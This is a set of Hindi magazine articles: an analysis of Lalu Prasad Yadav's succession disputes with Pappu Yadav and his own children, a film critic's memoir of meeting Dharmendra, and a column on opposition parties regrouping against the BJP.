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उत्तराधिकार या पुत्राधिकार

Lalu Yadav by Shailendra 2

महाभारत में एक कहानी है. यह है या नहीं, न मालूम लेकिन कई बार प्रसंगों व संदर्भों के साथ इसे सुनाया जाता है. जब कुरूक्षेत्र में युद्ध समाप्त हो जाता है तो धृतराष्ट्र और कृष्ण आमने-सामने होते हैं. धृतराष्ट्र कृष्ण से पूछते हैं कि तुम्हारा क्या लेना-देना था? तुमने क्यों  किया ऐसा? क्यों भाइयों को आपस में लड़वा खून की नदियां बहा दी. कृष्ण कोई जवाब नहीं दे रहे थे. तब धृतराष्ट्र ने शाप दिया कि आनेवाले समय में इसी तरह तुम्हारे यदुवंशी भी आपस में लड़ेंगे और वे एक-दूसरे के साथ कभी नहीं रह पाएंगे. यह किस्सा कई बार उत्तर भारत के यादव नेताओं के अलग-अलग रहने पर सुनाया जाता रहा है और मजा लेकर कहा जाता रहा है कि यह धृतराष्ट्र का शाप है कि मुलायम सिंह यादव, लालू प्रसाद यादव और शरद यादव, तीन बड़े यादव नेता एक ही राजनीतिक विचारधारा के होने के बावजूद, एक ही राजनीतिक स्कूल से निकलने के बावजूद साथ नहीं रह सके थे और न रह पाते हैं. हालांकि धृतराष्ट्र के इस मिथकीय शाप को झुठलाते हुए लालू प्रसाद, मुलायम सिंह यादव और शरद यादव अब जनता पार्टी के महाविलय के जरिए साथ आ चुके हैं लेकिन इन तीनों नेताओं के साथ आने के तुरंत बाद या इसी बहाने बिहार में दो बड़े नेताओं के बीच फिर से अलग होने का युद्ध शुरू हो चुका है तो एक बार फिर से महाभारत की वही कहानी सुनाई जाने लगी है कि धृतराष्ट्र का शाप है तो उसका असर रहेगा. इस बार लालू प्रसाद यादव और पप्पू यादव के बीच जंग की शुरुआत हुई है. इस जंग में कारण और बहाने कई हैं लेकिन असल लड़ाई नेतृत्व की है.  इन दोनों यादव नेताओं के बीच लड़ाई के कई रंग अब देखने को मिलने लगे हैं. जिसका एक मजेदार नजारा विगत माह बिहार की राजधानी पटना में दिखा था.

कभी रंजन यादव ने राबड़ी देवी को मुख्यमंत्री बनाए जाने का जमकर विरोध किया था और शरद यादव ने तो लालू प्रसाद की पूरी राजनीति को ही चुनौती दी थी

विगत माह पटना के मौर्या होटल में लालू प्रसाद यादव की पार्टी की महत्वपूर्ण बैठक थी. उस बैठक में दल के सभी नेता मौजूद थे. पप्पू यादव ने जीतन राम मांझी का अध्याय शुरू किया. यह कहते हुए  िक इस महाविलय में मांझी को मिलाए बिना यह कोई मुकम्मल स्वरूप नहीं ले रहा. लालू प्रसाद यादव गुस्सा गए थे लेकिन शायद पहली बार हो रहा था  िक वे गुस्से का भी खुलकर इजहार नहीं कर पा रहे थे. उन्होंने इतना ही कहा कि पप्पू तुम मांझी के बहाने अपने मन की बात कह रहे हो. हम जानते हैं कि तुम क्या चाहते हो? तुम उत्तराधिकारी बनना चाहते हो लेकिन मेरा उत्तराधिकारी मेरा बेटा होगा. उस दिन की बात को वहीं खत्म करने की कोशिश हुई. राजद नेताओं ने प्रयास किए लेकिन बात वहीं खत्म नहीं हुई बल्कि उसके बाद एक नया अध्याय शुरू हुआ जो अब परवान चढ़ता दिख रहा है. पप्पू यादव ने अलग राह अपनाई, लालू प्रसाद ने अलग. पप्पू मगध इलाके में चले गए और औरंगाबाद से लेकर गया तक 120 किलोमीटर तक की पदयात्रा कर मगध की वर्षों से प्रतिक्षित एक जलाशय योजना को शुरू करने के लिए आंदोलन करने लगे और उसी आंदोलन के जरिए लालू प्रसाद यादव को चुनौती देने लगे. इस क्रम में पप्पू अपने लिए नायकत्व के तत्व का उभार करते रहे. वे उन इलाकों से गुजरते रहे, जिन्हें माओवादियों का खोह माना जाता है. उन्हें रास्ते में माओवादियों ने घेरा भी. दूसरी ओर लालू प्रसाद यादव अन्य राजनीतिक सभाओं से पप्पू यादव पर हमले तेज कर दिए और चिढ़ानेवाले अंदाज में बार-बार रटते रहे कि सुन ले सब कोई- उनका बेटा ही उनका उत्तराधिकारी बनेगा. पप्पू यादव ने दूसरे तरीके से लालू प्रसाद यादव को चिढ़ाना शुरू कर दिया. उन्होंने कहना शुरू कर दिया कि संतान को ही उत्तराधिकारी बनाना है तो बेटे को क्यों, बेटी को क्यों नहीं? पप्पू ने बात यहीं पर नहीं छोड़ी- उन्होंने यह भी कहना शुरू किया कि लालू प्रसाद यादव देश के पहले नेता हुए हैं जो इस तरह से अपने उत्तराधिकारी की घोषणाकर जनता पर थोप रहे हैं. लालू प्रसाद और और पप्पू यादव के बीच बयानों का युद्ध शुरू हुआ. लालू प्रसाद को बैकफुट पर आना पड़ा. पप्पू आग उगलते रहे. लालू प्रसाद को पप्पू के सवालों का जवाब देते नहीं बना. इधर पप्पू ने सवालों का घेरा बनाकर हमले तेज कर दिए. लालू प्रसाद जवाब देने की स्थिति में नहीं रह गए हैं तो उसकी कई वजहें मानी जा रही हैं. एक तो शायद उनके राजनीतिक जीवन में वर्षों बाद फिर से यह मौका आया है, जब उनके ही दल में रहते हुए, बिना दल छोड़े हुए उन्हें कोई इस तरह की चुनौती दे रहा है और वे कुछ नहीं कर पा रहे. इसके पहले एक समय में रंजन यादव और शरद यादव जैसे नेताओं ने लालू प्रसाद को चुनौती दी थी. रंजन यादव ने राबड़ी देवी को मुख्यमंत्री बनाए जाने के बाद विरोधी अभियान चलाया था और शरद यादव ने तो लालू प्रसाद की पूरी राजनीति को ही चुनौती दी थी. अब संयोग है कि रंजन और शरद, दोनों ही लालू प्रसाद के साथ ही हैं.

महाविलय के जरिए. लेकिन उसके बाद लालू प्रसाद यादव को वर्षों से दूसरी आदत लगी हुई है. वह रामकृपाल यादव जैसे नेताओं को भीड़ के सामने डांटकर, तेज आवाज में बोलकर बिठा देने के आदि रहे हैं. एक तरीके से अपने नेताओं को सार्वजनिक तौर पर अपमानित कर उन्हें कंट्रोल में रखना और उनके मनोबल को तोड़कर उनके नेतृत्व का उभार नहीं होने देना भी लालू प्रसाद यादव की राजनीति का एक अहम हिस्सा रहा है. लेकिन वे दूसरे नेताओं की तरह पप्पू यादव के साथ अब पेश नहीं आ पा रहे हैं तो उसकी कई वजह है. सब जानते हैं कि लालू प्रसाद यादव फिलहाल सबसे विवशी दौर से गुजर रहे नेता हैं. यह विवशता, उनके सामने कई तरह से, कई किस्म की चुनौतियों की वजह से है.

पहली चुनौती : घर

लालू प्रसाद यादव की पहली चुनौती उनके घर से ही शुरू हुई है. हालांकि यह बातें सिर्फ अफवाही तौर पर ही हवा में उड़ाई जाती रही हैं कि लालू प्रसाद यादव के बेटे के बीच ही विरासत को संभालने को लेकर आपसी कलह है. हो सकता है यह महज अफवाह हो लेकिन कोरी अफवाह जैसा भी नहीं कहा जा सकता. इस अफवाह को कई बार मजबूत बल मिलता है और यह सच जैसा लगता है. लालू प्रसाद यादव अपने बेटे तेजस्वी को लेकर राजनीति में लगातार कोशिश कर रहे हैं और पिछले विधानसभा चुनाव से ही वे तेजस्वी को उभारने में पूरी ऊर्जा लगाते रहे हैं. हालांकि तेजस्वी अब तक वह करिश्मा नहीं दिखा सके हैं, जिसकी उम्मीद की जाती रही है. दूसरी ओर यह माना जाता है कि राबड़ी देवी तेजप्रताप को आगे करना चाहती हैं.

मीसा चुनाव भले ही हार गईं लेकिन उन्होंने चुनाव के समय में जिस राजनीतिक परिपक्वता का परिचय दिया था, उससे उनमें बड़ी संभावना दिखी है

तेजप्रताप को राबड़ी आगे करना चाहती हैं या नहीं, यह तो राबड़ी देवी भी खुलकर नहीं बताती लेकिन तेजप्रताप की भी तेजस्वी की तरह राजनीतिक रुचि है, यह उनके आवास पर जाकर देखा-महसूसा जा सकता है और आए दिन पटना के आसपास तरह-तरह के आयोजनों के बहाने तेजप्रताप के पोस्टर लगने-लगाने के आधार पर भी सहज ही यह अनुमान लगाया जा सकता है कि तेजप्रताप राजनीति में रुचि रखनेवाले व्यक्ति हैं और उनके अंदर भी उभार की छपटाहट है. तेजप्रताप धर्मनिरपेक्ष संघ जैसा कोई संगठन बनाकर भी इन दिनों अपनी अलग गोलबंदी की कोशिश में हैं. हालांकि इसके बारे में यह कहा जाता है कि वह एक संगठन है, राजनीतिक अभियान नहीं लेकिन जाननेवाले जानते हैं कि तेजप्रताप उसके जरिए अपनी पहचान भी बनाना चाहते हैं, अपने इर्द-गिर्द युवाओं को संगठित भी करना चाहते हैं और आगामी विधानसभा चुनाव में जहां से वे चुनाव लड़े, उसका लाभ भी उठाना चाहते हैं. राजद के एक नेता कहते हैं कि दोनों के बीच आपसी लड़ाई है. यह उस तरह से अभी तक तो सामने नहीं आता, जैसा कि लालू प्रसाद यादव के दोनों साले साधु यादव और सुभाष यादव की दूरी को लोग देख चुके हैं लेकिन अगर कोई रास्ता नहीं निकला तो यह भी तय है कि दोनों के बीच की लड़ाई एक दिन उस रूप में दिखेगी. राजद के नेता कहते हैं कि यह लड़ाई तब तेज हुई, जब लालू प्रसाद यादव के चुनाव लड़ने पर रोक लगी और राबड़ी देवी का प्रयोग राघोपुर से लेकर सोनपुर जैसे गढ़ तक में फेल हो गया. हालांकि लालू प्रसाद चाहते थे कि किसी भी तरह से राबड़ी देवी के नाम पर ही अभी उनके बाद राजद की राजनीति को आगे बढ़ाया जाए लेकिन सोनपुर और राघोपुर और बाद में छपरा में मिली हार से यह साफ हो गया कि लाख चाहकर भी लालू प्रसाद यादव राबड़ी देवी के नाम पर आगे की राजनीतिक नैया को पार नहीं लगा सकते. तब एक खाली हुए एमएलसी सीट पर राबड़ी देवी को एडजस्ट कर लालू प्रसाद ने वहां एक विराम देने की कोशिश की. लेकिन यह विराम वहां थमनेवाला नहीं था और न अब है. तेजस्वी और तेजप्रताप के बीच लालू प्रसाद की बड़ी बेटी मिसा भारती का भी आगमन हुआ और वह दोनों बेटों की तुलना में राजनीतिक तौर पर ज्यादा परिपक्व हैं और राजनीति में ज्यादा रुचि भी लेती रही हैं. मिसा पिछले लोकसभा चुनाव में दानापुर जैसे गढ़ इलाके से चुनाव लड़ीं. उनकी जीत के लिए लालू प्रसाद यादव ने पटना इलाके के कुख्यात-बाहुबली मानेजानेवाले और जेल में बंद रीतलाल यादव से कई किस्म के समझौते भी किए, अपनी पार्टी में बड़ा पद भी रीतलाल को दिए लेकिन मिसा रामकृपाल यादव से चुनाव हार गई. बताया जाता है कि मिसा चुनाव भले ही हार गई लेकिन उन्होंने चुनाव के समय में जिस तरह से परिपक्वता का परिचय दिया और जिस तरह की राजनीति की, जिस तरह से उन्होंने प्रचार किया, उससे उनमें आगे राजनीति की बड़ी संभावना दिखीं.

यह माना गया कि मिसा को लालू प्रसाद यादव विधान परिषद में खाली हुई एक सीट पर भेज देंगे. लेकिन ऐसा न हो सका. उस सीट पर लालू प्रसाद के पास कई सालों से सेवा देनेवाले भोला प्रसाद को परिषद में भेजा गया. कहा जाता है कि यहां भी पेंच वही फंस गया था कि एक सीट है और घर से भेजा जाए तो किसे भेजा जाए. इसका लाभ भोला प्रसाद को मिला. बाद में बात यह भी उठी कि लालू प्रसाद की पार्टी की ओर से यह मांग भी उठेगी कि अगर राजद और जदयू का मिलान होना ही है तो मिसा भारती को उपमुख्यमंत्री बनाया जाए और यह चर्चा भी बहुत दिनों तक हवा में तैरती रही लेकिन यह बात भी आई गई हो गई. अब कहा जा रहा है कि मिसा मनेर से अगला विधानसभा चुनाव लड़ेंगी. वह पारिवारिक कलह से खुद को परेकर अगले चुनाव की तैयारी में लग गई हैं. और अब जबकि लालू प्रसाद यादव यह कह चुके हैं कि उनका राजनीतिक उत्तराधिकारी उनका बेटा ही होगा तो मिसा के लिए पिता की राजनीति के जरिए अचानक बड़े उभार की संभावनाओं पर भी फिलहाल विराम लग गया है. यह तो लालू प्रसाद के घर में चल रहे राजनीतिक कलह की कहानी है, जिसे अफवाही अंदाज में चौपालों में चटखारे ले-लेकर सुनाया जाता है. लेकिन दूसरी चुनौती जो उनके सामने है, वह अफवाही नहीं बल्कि यथार्थ के धरातल पर है और उसे सब जानते हैं. हालांकि लालू प्रसाद के बारे में यह कहा जाता है कि वे निजी जीवन से लेकर राजनीतिक जीवन तक में राबड़ी देवी के फैसले का ही सम्मान करते हैं इसलिए एक बदलाव भी हालिया दिनों में लोगों को देखने को मिल रहा है. तेजस्वी अब बयान वगैरह तो देते दिख रहे हैं लेकिन अचानक से लालू प्रसाद के मंचों पर तेजप्रताप की उपस्थिति बढ़ गई है. इसकी वजह क्या है, यह लालू प्रसाद के परिवार के लोग ही बता सकते हैं लेकिन इसके मायने यही लगाए जा रहे हैं कि हर बार की तरह राबड़ी देवी की जिद की जीत हो रही है शायद.

दूसरी चुनौती : पार्टी

परिवार के बाद लालू प्रसाद यादव के सामने पार्टी की चुनौती बड़ी है. लालू प्रसाद यादव अपनी पार्टी का विलय जनता परिवार में करवा चुके हैं लेकिन इससे उनकी चुनौतियां खत्म नहीं हुई हैं. उनके दल से अभी चुनौतियां मिलना बाकी है. हालांकि लालू प्रसाद यादव के दल से एक-एककर कई नेता बाहर का रास्ता देख चुके हैं. और अब जो नेता हैं, उनमें भी कई ऐसे हैं, जो साथ छोड़ सकते हैं. इसके पहले विगत साल नीतीश कुमार ने एक झटके में लालू प्रसाद यादव की पार्टी को तोड़ दिया था. अभी सबसे ज्यादा चर्चा राजद के एक प्रमुख नेता अब्दुल बारी सिद्दिकी को लेकर की जाती है. कहा जाता है कि सिद्दिकी एक ऐसे नेता हैं, जो लालू प्रसाद यादव के लिए वरदान हैं तो वे कभी भी चुनौती बन सकते हैं. सिद्दिकी के भी उपमुख्यमंत्री बनने की बात थी लेकिन सूत्र बताते हैं कि इसमें सबसे बडा अड़ंगा खुद लालू प्रसाद यादव के खेमे से ही लगा था. सिद्दिकी के मजबूत होने से लालू प्रसाद यादव जानते हैं कि फिर वे उन्हें अपने साथ रख नहीं पाएंगे. सिद्दिकी नेतृत्व पद पर जाने की मांग करेंगे, जो फिलहाल लालू प्रसाद यादव को किसी हाल में मंजूर नहीं. लेकिन सूत्र एक दूसरी खबर भी बताते हैं. बताया गया है कि अब्दुल बारी सिद्दिकी पर फिलहाल कांग्रेस की नजर है, जो बिहार में खस्ताहाली के दौर में है. अगर सिद्दिकी जैसा नेता कांग्रेस को मिल जाता है तो उसे बिहार में खड़ा होने में मदद मिलेगी. अगर ऐसा होता है तो यह न सिर्फ लालू प्रसाद के लिए बल्कि महाविलय के लिए भी एक बड़ा झटका होगा. लालू प्रसाद के दल में चुनौती यहीं खत्म नहीं होती. अभी बड़ी चुनौती का सामना उन्हें विधानसभा चुनाव के वक्त करना है. विधानसभा चुनाव के समय महाविलय के आधार पर अगर टिकट का बंटवारा होता है तो लालू प्रसाद को कई अपने लोगों का टिकट काटना होगा. वे वैसे लोग व नेता होंगे, जो वर्षों से नीतीश कुमार की पार्टी और भाजपा से लड़कर अपना जनाधार बनाए हैं. टिकट नहीं मिलने की स्थिति में वे लालू के सबसे बड़े विरोधी होंगे. इनमें कई यादव नेता भी होंगे. इस तरह कई जगहों पर लालू प्रसाद के विरोध का जो नया खेमा बनेगा उसे अगर पप्पू यादव या मांझी का साथ मिलेगा तो फिर यह लालू प्रसाद को और कमजोर करनेवाला ही होगा. बात इतनी भी होती तो एक बात होती. जो लालू प्रसाद यादव 1990 में थे, उस समय के उनके एक-दो बड़े नेता ही उनके साथ बचे हैं. लालू भी जानते हैं कि अपने कोर वोट में भी उनकी पकड़ पहले की तुलना में ज्यादा कमजोर हुई है. पिछड़े बिखर चुके हैं. दलितों व पिछड़ों के मसीहा के रूप में वे एक जुमले की तरह तो इस्तेमाल किए जाएंगे लेकिन अब दलितों व पिछड़ों का वोट आसानी से अपने पाले में नहीं करवा पाएंगे.

विधानसभा चुनाव के समय महाविलय के आधार पर अगर टिकट का बंटवारा होता है तो लालू प्रसाद को अपने कई लोगों का टिकट काटना होगा

राजनीतिक विश्लेषक प्रेम कुमार मणी कहते हैं- अभी भी वक्त है लालू प्रसाद यादव मांझी के साथ मिल जाएं, तभी वे दलित वोटों की रहनुमाई करने की स्थिति में रहेंगे. मणी बात ठीक कहते हैं लेकिन एक दूसरी किस्म की चुनौतियों से भी लालू प्रसाद को दो-चार होना अभी बाकी है और एक तरह से महाविलय कर के वे अपनी राजनीति का टेस्ट ही कर रहे हैं. लालू प्रसाद ने महाविलय के बाद नीतीश कुमार को बिहार में नेतृत्व का अवसर दिया तो इसका दूसरा साइड इफेक्ट होना है. यादव और कुरमी, दो छोरों पर रहनेवाली जातियां हैं. कुर्मी नेता का नेतृत्व जमीनी स्तर पर यादव मतदाता आसानी से हजम नहीं कर पाएंगे. उन्हें यह साफ लगता है कि यादवों का जो राजपाट था और वर्षों तक जो सत्ता थी, उसे कुरमी जाति के नेता ने ही चुनौती देकर खत्म किया था. पप्पू यादव कहते हैं कि यह कौन नहीं जानता कि नीतीश कुमार ने सबसे ज्यादा यादवों को गाली और जंगलराज का पर्याय बनाया. इसका खामियाजा तो महाविलय को भुगतना ही होगा.

तीसरी चुनौती : पप्पू यादव

लालू प्रसाद यादव के सामने इन सबके बाद जो सबसे बड़ी चुनौती होगी वह पप्पू यादव और जीतन राम मांझी जैसे नेताओं की होगी. जीतन राम मांझी जैसे नेताओं की चुनौती को तो लालू प्रसाद यादव दरकिनार कर चुके हैं, इसलिए वे महाविलय में न तो जीतन को शामिल करने की कोशिश किए और ना ही अभी कोशिश करते दिख रहे हैं. जीतन की चुनौती को छोड़ भी दें तो पप्पू यादव लालू प्रसाद यादव के लिए एक बड़ी चुनौती बनकर उभरे हैं. पप्पू यादव का कोसी में खासा जनाधार है. इस बार नरेंद्र मोदी की लहर में भी वे न सिर्फ अपनी और अपनी पत्नी की सीट को बचाने में कामयाब रहे बल्कि कोसी के इलाके में भाजपा का खाता तक नहीं खुल सका तो उसमें भी पप्पू यादव की भूमिका मानी गई.

लगभग साढे़ बारह सालों बाद जेल से निकलने के बाद पप्पू यादव को कोसी में यह सफलता मिली तो इससे वे उर्जा से लबरेज हैं और तेजी से पूरे बिहार में अब अपनी अलग पहचान बनाने के लिए अभियान तेज कर दिए हैं. इसके लिए पप्पू न सिर्फ हालिया दिनों में बिहार में हुई बड़ी घटनाओं के घटना स्थल पर ग ए बल्कि अपनी ओर से पीडि़तों को सहयोग भी किया. पप्पू यादव अब युवा शक्ति नामक संगठन के बैनर तले मगध से लेकर भोजपुर तक के इलाके के बुनियादी सवालों को उठाकर, लोगों से अपने को जोड़ रहे हैं.

पप्पू यादव को इतने-भर से पूरे बिहार में सफलता मिलेगी, यह कहना तो अभी जल्दबाजी है लेकिन राजद में जो नाराज खेमा बनेगा, टिकट नहीं मिलने से जो विक्षुब्धों का खेमा तैयार होगा, उसका नेतृत्वकर पप्पू यादव लालू प्रसाद को चुनौती देनेवाले एक बड़े नेता के तौर पर उभरेंगे. पप्पू यादव कहते हैं कि हम कौनसा रास्ता अपनाएंगे, अभी कह नहीं सकते लेकिन यह जो उत्तराधिकारी की परंपरा शुरू की है लालू प्रसाद यादव ने और कार्यकर्ताओं से लेकर जनता तक पर थोपना चाहते हैं, उसका विरोध करेंगे.

पढ़ें पप्पू यादव से निराला की बातचीत

पर्दे के हीरो धर्मेंद्र असली जिंदगी के बड़े नायक हैं

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बचपन से ही मैं सदाबहार अभिनेता धर्मेंद्र की ओर आकर्षित रहा. जब मैंने फिल्म देखनी शुरू की थी तब मेरी उम्र कोई आठ-नौ साल की रही होगी पर सचेत मन की पहली फिल्म ‘सत्यकाम’ थी जिसने मेरे मन-मस्तिष्क पर गहरी छाप छोड़ी. पिता आदिम जाति कल्याण विभाग में काम करते थे. भोपाल में पुराना सचिवालय स्थित उनके ऑफिस में 16 एमएम का एक प्रोजेक्टर हुआ करता था जिसे रमेश चाचा ऑपरेट किया करते थे. हर शनिवार को वे वहां फिल्में दिखाते थे. वहीं ‘सत्यकाम’ देखी. फिल्म का नायक मन में बहुत गहरे उतर गया. आकर्षण इस कदर बढ़ता गया कि युवा होते-होते उनकी हर फिल्म देखना अनिवार्यता-सी बात बन गई थी.

फिल्मों पर लिखते-लिखते मैं मुंबई के संपर्क में आ गया. कलाकार का पीआर का काम देखनेवाले टेलीफोन पर भी इंटरव्यू करा दिया करते थे. मैंने मुंबई जाकर कलाकारों से मिलना-जुलना शुरू कर दिया था. शुरूआती दौर में सितारों से मिलना बहुत रोमांचित करता लेकिन फिर धीरे-धीरे सब सहज होता गया.

धर्मेंद्र से मुलाकात हो जाए, इसके लिए मैं प्रयासरत रहा. लेकिन उनसे मुलाकात इतना आसान कहां था? धर्मेंद्र पर लिखी गई टिप्पणी कहीं किसी पत्र-पत्रिका में प्रकाशित होती तो मैं उसकी कतरने उनके पते पर भिजवा देता. ऐसा करते हुए मेरे मन के किसी कोने में यह बात जरूर होती कि कभी उनका जवाब जरूर आएगा. पर ऐसा कभी नहीं हुआ. उनकी एक्शन फिल्मों का असर मुझपर कई-कई दिनों तक बना रहता. गंजे खलनायक शेट्टी से उनकी मुठभेड़ बहुत रोमांचित करती थी. उनकी फिल्में आंखें, फागुन, आदमी और इंसान, इज्जत, अनुपमा, बंदिनी, नीला आकाश, चुपके-चुपके, गुड्डी से लेकर गुलामी तक जाने कितनी बार देखी कि वे आज भी अपने दिल की हार्ड डिस्क में सुरक्षित हैं.

‘गजक खाकर उन्होंने कहा बहुत स्वादिष्ट है. जब भी आना मेरे लिए लेकर आना. इतने बड़े इंसान का ऐसा कहना हमें सजल कर गया’

खैर, कई सालों के जतन के बाद सिनेमा से ही जुड़े एक मित्र ने बड़ी मिन्नतों के बाद जन्मदिन के मौके पर उनसे मेरी बात कराई. फोन पर मैंने जैसे ही अपना नाम कहा तो उन्होंने कहा कि कैसे हो सुनील? मेरे गले में शब्द फंस से गए. मैंने हकबकाते हुए उन्हें बधाई दी. यह सिलसिला चल निकला.

दो-तीन साल बाद उनसे साक्षात्कार का मौका मिला. सर्दियों का मौसम था लेकिन हथेलियां रोमांच की वजह से पसीने से गीली हो रही थीं. उनके सहायक ने मुझे एक हॉल में बिठाया और मुझसे इंतजार करने को कहा. मैं धर्मेंद्र के लिए भोपाल से ग्वालियर की गुड़ की गजक लेकर गया था. मेरे साथ मेरे गुरु स्वर्गीय श्रीराम ताम्रकर भी थे. वे भी उनसे पहली बार मिल रहे थे. इंतजार करते हुए मैं हॉल में लगी उनकी मोहक तस्वीरें देखता रहा. इस हॉल में शराफत, राजा जानी, जुगनू, शोले, राम बलराम, हुकूमत आदि की ट्राफियां खूबसूरती से लगी हुई थीं.

मेरे लगभग खोए हुए इस आलम में वे अचानक से हॉल में आ धमके. हम उठकर खड़े हो गए. उन्होंने मुझे गले से लगा लिया. उन्होंने बैठते ही चाय तथा कुछ खाने का आदेश दिया. हम दोनों का परिचय पूछा. हमने बातचीत की आकांक्षा बताई तो उन्होंने प्यार से कहा, पूछो क्या पूछना है. अबतक हम सहज हो चुके थे. बातचीत शाम साढ़े छह बजे शुरू हुई तो सवा नौ बजे तक चलती रही. बातचीत के दौरान गजक का डिब्बा खोल उनकी ओर बढ़ाया और कहा, पापा जी ये सुदामा के चावल की       तरह हैं. आप ग्रहण करें तो गर्मजोशी से उन्होंने मेरा हाथ पकड़ लिया. कहने लगे, अरे ऐसा क्यों कहते हो? गजक खाकर उन्होंने कहा बहुत स्वादिष्ट है. मेरे लिए हमेशा  लाना. इतने बड़े इंसान का ऐसा कहना हमें सजल कर गया. मैं पूछता रहा और वे जबाव देते रहे.

धरमजी से अब तक कितनी ही मुलाकातें हुई हैं. वे बहुत भावुक, संवेदनशील और उदार हृदय के व्यक्ति हैं. उनके व्यक्तित्व में जरा-सी भी जटिलता या बनावटीपन नहीं है. सिनेमा में अपने अलग-अलग किरदारों के माध्यम से समृद्ध हुई उनकी छवि में आप एक ऐसे इंसान को देखते हैं जो अपने ही संसार के दूसरे सभी लोगों से अलहदा हैं. पर्दे के हीरो धर्मेंद्र यथार्थ की दुनिया के भी बड़े नायक हैं.

(लेखक फिल्म समीक्षक हैं और भोपाल में रहते हैं)

भाजपा रोको अभियान

श्रेय किसको दिया जाए? मोदी को, संघ को या केजरीवाल को? या तीनों को? ‘काॅरपोरेट ठप्पे वाली सरकार’ की इमेज में उलझे मोदी, हिंदुत्व के एजेंडे पर संघ परिवार के एकदम से शुरू हो गए चौतरफा दबाव से मची खलबली या दिल्ली में हुआ ‘केजरिया करिश्मा?’ राजनीति के मौसम में अचानक उठे इन तीन ‘विक्षोभों’ के बाद देश में ‘यस वी कैन’ मार्का बयार दिखने लगी है! अखाड़े की रौनक फिर लौटने-सी लगी है. इस उम्मीद में कि आज नहीं तो कल बाजी पलटी भी जा सकती है, पिछली पिटाई को सेक-सहलाकर, कुछ डंड-बैठक के बाद धुरंधर वापस अखाड़े की तरफ लौटने लगे हैं. इसलिए राजनीति में अचानक ‘लौटने’ का मौसम शुरू हो गया है!

राहुल गांधी 56 दिनों के ‘आत्मचिंतन’ के बाद देश लौटे, उधर सीताराम येचुरी के साथ सीपीएम भी सुरजीत युग का वह लोच लौटा लाने की तरफ है, जो रंग-बिरंगे पार्टनरों के साथ ‘डांस आॅफ डेमोक्रेसी’ में अपना जलवा बिखेरा करता था. समाजवादियों को भी ‘घर-वापसी’ का आइडिया आ गया है और सब मिलकर फिर एक पार्टी में लौटनेवाले हैं! और देखिए, किस्मत का करिश्मा कि गरीब, किसान, मजदूर बरसों बाद फिर नारों में वापस लौट आया है. कभी लोहिया के जमाने में नारा लगता था, ‘टाटा-बिड़ला की सरकार.’ अब राहुल गांधी नारा लगा रहे हैं, ‘कॉरपोरेटों की सरकार, सूट-बूट की सरकार!’

तो देखा आपने खेल में वापस लौटने का खेल! इसलिए कांग्रेस, लेफ्ट, समाजवादी सब अचानक फड़फड़ाकर उठ खड़े होने लगे, बिसात गरीब बनाम अमीर की िबछाई जा रही हो और सामने बिहार और पश्चिम बंगाल के चुनाव हों, तो राजनीति में फिर से ‘(कांग्रेस+लेफ्ट+समाजवादी) x सहयोग = भाजपा को रोको’ फॉर्मूले पर लोग लौटने लगे तो हैरानी कैसी? इसी फॉर्मूले पर कुछ साल पहले देवेगौड़ा-गुजराल सरकारें खड़ी की गई थीं, यह और बात है कि वे ज्यादा दिनों तक खड़ी नहीं रह सकीं. फिर भी पहले आजमाया फाॅर्मूला दुबारा आजमाने में हर्ज कैसा? यही फॉर्मूला अब सबको दिखा रहा है मौका-मौका! ‘यस वी कैन!’ मोदी और भाजपा के रथ को रोका जा सकता है! और फिर इसके अलावा विकल्प भी क्या है?

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इसलिए इस बार राहुल बड़े बदले-बदले से बनकर लौटे तो कांग्रेसियों की उम्मीदें भी लौट आईं! हालांकि लोग सवाल पूछ रहे हैं कि ‘अनिच्छुक युवराज’ अबकी बार कितने दिन राजनीति में टिकेंगे और इसकी क्या गारंटी कि कुछ दिन बाद वह फिर उचाट न हो जाएं और अपने ‘वैरागी मन’ की ओर फिर ‘घर-वापसी’ न कर लें! सवाल सही है. लेकिन इस बार राहुल गांधी को देखकर लगता है कि इन 56 दिनों में वह कुछ न कुछ नया तिलिस्म तो जरूर सीखकर आए हैं! मामला खाली ‘आत्मचिंतन’ का नहीं लगता. कुछ ज्यादा ही मेहनत की गई है उन पर! उनकी शैली बदल गई है, पूरा अंदाज भी बदला है और कहीं-कहीं हलकी लड़खड़ाहट के बावजूद बोली तो बहुत बदल गई है, हाजिरजवाबी और जुमलेबाजी आ गयी है, लगता है कि रटा हुआ पाठ नहीं पढ़ा जा रहा है, फोकस थोड़ा साफ हुआ है, इच्छाशक्ति के कुछ लक्षण भी दिखने लगे हैं. विशेषज्ञों की राय अलग-अलग हो सकती है, लेकिन आम वोटर ने इस बदलाव को महसूस तो किया है, इसमें शक नहीं.

राजनीति में फिर से ‘(कांग्रेस+लेफ्ट+समाजवादी) x सहयोग = भाजपा को रोको’ फॉर्मूले पर लोग लौटने लगे तो हैरानी कैसी?

लेकिन पहली पॉजिटिव शुरुआत के बाद राहुल के लिए ‘मिशन सरवाइवल’ बिलकुल आसान नहीं है. उनके मुकाबले पर दो दिग्गज ‘कम्युनिकेटर’ हैं, मोदी और केजरीवाल. जो बोल-बोलकर अपनी बात बना लेते हैं और परसेप्शन के खेल में दूसरे का चेहरा बिगाड़ देने की कला में उस्ताद हैं. जनता तो तुलना करेगी ही. तो इस मोर्चे पर राहुल को अपना प्रदर्शन अभी बहुत-बहुत सुधारना है. फिर कांग्रेस बुरे हाल में है. अब तक राहुल अपने काम से ऐसा कोई संकेत नहीं दे सके हैं कि लगे कि उनके पास पार्टी को दुबारा खड़ा कर देनेवाली कोई जादुई छड़ी है. पार्टी को आज के हालात में अपना पूरा ढांचा जल्दी से जल्दी दुरुस्त करना है, कार्यकर्ताओं में जोश फूंकना है, तय करना है कि पार्टी क्या कार्यक्रम ले, क्या कार्ययोजना बनाए, क्या नारे ले, क्या रणनीतियां बनाएं और सबसे बड़ी बात यह कि बुरी तरह पिट चुके ‘ब्रांड कांग्रेस’ और ‘ब्रांड राहुल’ की खोई विश्वसनीयता वापस लौटाने के लिए कैसी मार्केटिंग करे! ऊपर से पार्टी में राहुल की नेतृत्व क्षमताओं पर शंका करनेवालों की कमी नहीं है. तो इन चुनौतियों पर राहुल को अपने को साबित करना है और अब तक का उनका रिकाॅर्ड इस मामले में ‘जीरो’ ही रहा है. जीरो से शुरू होकर हीरो बनने का सफर, यकीनन बहुत कठिन है डगर!

